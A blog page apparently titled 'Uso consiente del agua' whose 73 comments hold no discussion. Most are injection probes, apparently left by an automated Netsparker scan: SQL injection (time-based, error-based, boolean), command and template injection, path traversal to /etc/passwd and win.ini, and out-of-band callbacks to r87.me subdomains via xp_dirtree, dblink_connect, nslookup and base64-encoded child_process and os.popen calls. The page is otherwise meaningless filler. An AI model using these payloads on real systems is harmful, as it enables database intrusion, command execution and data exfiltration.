Uso consiente del agua

73 Comentarios

1. 250466

2. 3

3. 3

4. -1 OR 1=1

5. ‘

6. -1″ and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+»

7. -1’+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+’

8. 3

9. 3

10. ‘ WAITFOR DELAY ‘0:0:25’– /* 257edecd-36a4-4c7b-8aeb-a88fe1f309d6 */

11. 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x– /* a221c86e-ff4a-48f9-b847-721ed623ba39 */

12. (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) /* 4e434edd-5c1e-4e86-9834-11668d6cf7d0 */

13. 1′));SELECT pg_sleep(25)– /* 580e6682-9bc8-4647-89ae-61b45a8e913c */

14. ‘) AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)– 1 /* 47ef9a62-2264-4d1e-96c6-b3518e4f35bc */

15. 3

16. N3TSP4RKE2

17. javascript:netsparker(0x02F4BE)

18. netsparker(0x02F4CC)

20. ping -w 25 127.0.0.1 &

21. 3

22. 3

23. 3

24. 3

25. 3

26. 3

27. 3

28. {{268409241-74268}}

29. (268409241-56612)

30. response.write(268409241-5194)’

31. 3

32. ‘+print localtime()*0+0xFFF9999-84635+’

33. __import__(‘os’).popen((‘SET /A 268409241 – {0}’).format(‘1415’)).read()

34. N3tSp4rK3R

35. c:\boot.ini

36. file:///windows/win.ini

37. /../../../../../../../../../../windows/iis6.log

38. 3

39. . . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd

40. WEB-INF/web.xml

41. 3

42. http://onpqssfeu6kkyhm3cc4vexyfrh0jnotzj-xwulupi9t.r87.me/p/

43. 3

44. exec(‘xp_dirtree »\\onpqssfeu6anhzjktmpw0vhasw2ivqh_qivvv20q’+’hh8.r87.me’+’\c$\a»’)

45. 1′))exec(‘xp_dirtree »\\onpqssfeu6neeuuiisaxjgc5b3mcsgeb2qpeyg4z’+’j5u.r87.me’+’\c$\a»’)–

46. cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(111)||chr(110)||chr(112)||chr(113)||chr(115)||chr(115)||chr(102)||chr(101)||chr(117)||chr(54)||chr(51)||chr(114)||chr(116)||chr(107)||chr(50)||chr(114)||chr(116)||chr(114)||chr(114)||chr(121)||chr(100)||chr(109)||chr(119)||chr(109)||chr(118)||chr(100)||chr(104)||chr(114)||chr(119)||chr(54)||chr(54)||chr(105)||chr(117)||chr(107)||chr(122)||chr(113)||chr(122)||chr(110)||chr(114)||chr(98)||chr(104)||chr(119)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)

47. 127.100.11.2/elmah

48. 3

49. 3

50. 3

51. 3

52. 3

53. 3

54. 3

55. 3

56. gethostbyname(trim(‘onpqssfeu6wdwnrge6tipioqnwvvk_phywjzkkuw’.’ob0.r87.me’))

57. createobject(«WScript.Shell»).exec(«nslookup onpqssfeu6390ofhnfm6fe8iiswgseki3bthl7as» & «y-y.r87.me»).StdOut.ReadAll

58. «+gethostbyname(lc ‘onpqssfeu61hktgc9am7sjlyuvq7zzpljym9gjdj’.’daa.r87.me’)+»

59. ‘&nslookup «onpqssfeu6rsgh1cwhddtdql1fsxcq_vv5dmtofq»»am0.r87.me»

60. = global.process.mainModule.require(‘child_process’).execSync(Buffer(‘bnNsb29rdXAgb25wcXNzZmV1NmFjNGp3aHJpeDQtZm4zY3pwdXd0YWZpZ2RianNiaW9vdy5yODcubWU=’,’base64′).toString())

61. __import__(‘os’).popen(__import__(‘base64’).urlsafe_b64decode(‘bnNsb29rdXAgb25wcXNzZmV1Nnd5dG1fNzJjYTU0Y3RhdnVxc2plaWs0cjV1a2U1OWNkMC5yODcubWU=’)).read()

62. 3

63. 3

64. 3

65. 3

66. 3

67. 3

68. SrUtFGKqDuVXw

69. YVkebGgFDWdK

70. EMOdhatqiPnGAfF

71. EzWVBDpMZm

72. ralgusLhMEOT

73. pUBFwLva